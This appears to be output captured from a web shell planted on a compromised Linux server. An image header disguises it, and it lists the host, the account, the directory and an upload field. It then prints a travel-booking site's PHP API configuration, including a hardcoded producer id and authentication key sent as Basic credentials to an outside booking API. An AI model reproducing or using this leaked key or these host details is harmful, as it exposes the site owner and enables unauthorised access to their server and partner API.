ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/api/ |
Upload File : |
<? // Configration error_reporting((E_ALL | E_STRICT) ^ (E_NOTICE | E_WARNING | E_STRICT | E_DEPRECATED)); set_error_handler('__error_handler'); ini_set('display_errors', 1); define('DS', DIRECTORY_SEPARATOR); $HTTP_HOST = str_replace("www.", "", $_SERVER['HTTP_HOST']); // 짚라인 통합 if($HTTP_HOST == "zipline.tkplace.co.kr"){ $producer_id = "zipline"; $auth_key = "c533c9e4a8a731a1d6daf7baef172413"; } include_once("../lib/Log.class.php"); include_once("../lib/File.class.php"); // Function ////////////////////////////////////////////////////////////////////////////////////// /** * custom error handler * * @return void */ function __error_handler($errNo, $errMsg, $errFile, $errLine, $errArgs) { global $log; if (!(ini_get('error_reporting') & $errNo)) { return; } if (isset($errArgs['msg'])) { $errMsg = $errArgs['msg']; } if (isset($errArgs['code'])) { $errCode = $errArgs['code']; } if (isset($errArgs['data'])) { $data = $errArgs['data']; } // 로그 기록 Log::save(sprintf("%s(%d) ERROR (%s) %s", __FILE__, $errLine, $errCode , $errMsg), '', 'tk/'.date('Ym')); db_query("ROLLBACK;"); db_query("SET AUTOCOMMIT=1;"); if ($errNo & E_USER_ERROR) { sendResult($errCode, $errMsg, $data); } else { echo "ERROR."; } exit; } function error($msg, $code, $data) { trigger_error($msg, E_USER_ERROR); exit; } function sendResult($success, $msg='', $data=array()){ global $aes; $header = array( 'resultCode' => $success, 'resultMessage' => $msg ); if($data){ $body_enc=$aes->encrypt($data); } $result = array( 'header' => $header, 'body' => $body_enc ); echo json_encode($result); } /* adm/admin.lib.php 로 이동 function getInsertQuery($table, $data){ if($table == "" || $data == ""){ return false; } foreach ($data as $key=>$val) { if ( is_string($val) || is_numeric($val) ){ //$data[$key] = mysqli::real_escape_string($val); } } $column = implode(', ', array_keys($data)); $value = "'" . implode("', '", array_values($data)) . "'"; $sql = 'INSERT INTO ' . $table . ' (' . $column . ') VALUES (' . $value . ')'; return $sql; } */ function call($path, $call_data, $method = 'GET') { global $producer_id, $auth_key; $query = http_build_query($call_data); $authorization = "Basic " . base64_encode($producer_id.":".$auth_key); // API SERVER URL $url = 'http://api.tktravelkorea.com'.$path.'?'.$query; // echo $url; if(DEV_MODE){ p("Call Data ", $url, $call_data); } Log::save(sprintf("%s(%d) Call Data : %s", __FILE__, __LINE__, serialize($call_data)), '', 'tk/'.date('Ym')); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-Type: application/json;charset=UTF-8", "Authorization:".$authorization)); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($curl); if (curl_error($curl)) { exit('CURL Error('.curl_errno( $curl ).') '. curl_error($curl)); } $retcode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if(DEV_MODE){ p("Call Result", json_decode($result), $retcode); } Log::save(sprintf("%s(%d) Call HTTP CODE : %s", __FILE__, __LINE__, $retcode), '', 'tk/'.date('Ym')); Log::save(sprintf("%s(%d) Call Result : %s", __FILE__, __LINE__, $result), '', 'tk/'.date('Ym')); return json_decode($result, true); } function call_async($path, $call_data, $method = 'GET') { global $producer_id, $auth_key; $query = http_build_query($call_data); $authorization = "Basic " . base64_encode($producer_id.":".$auth_key); // API SERVER URL $url = 'http://api.tktravelkorea.com'.$path.'?'.$query; if(DEV_MODE){ p("Call Async Data ", $url, $call_data); } Log::save(sprintf("%s(%d) Call Async Data : %s", __FILE__, __LINE__, $json_data), '', 'tk/'.date('Ym')); $mh = curl_multi_init(); // CURL Multi 추가 $curl = curl_init($url); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_NOBODY, 1); // 데이터를 받을필요가 없는 경우 1 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-Type: application/json;charset=UTF-8", "Authorization:".$authorization)); curl_multi_add_handle($mh, $curl); // CURL Multi Running do { curl_multi_exec($mh, $running); curl_multi_select($mh); } while ($running > 0); // CURL RESULT if (curl_error($curl)) { exit('CURL Error('.curl_errno( $curl ).') '. curl_error($curl)); } $retcode = curl_getinfo($curl, CURLINFO_HTTP_CODE); //$response = curl_multi_getcontent($curl); //결과 파싱, 위의 CURLOPT_NOBODY를 제거해야됨 curl_multi_remove_handle($mh, $curl); curl_multi_close($mh); if(DEV_MODE){ p("Call Result", json_decode($result), $retcode); } Log::save(sprintf("%s(%d) Call HTTP CODE : %s", __FILE__, __LINE__, $retcode), '', 'tk/'.date('Ym')); Log::save(sprintf("%s(%d) Call Result : %s", __FILE__, __LINE__, $result), '', 'tk/'.date('Ym')); return json_decode($result, true); } ?>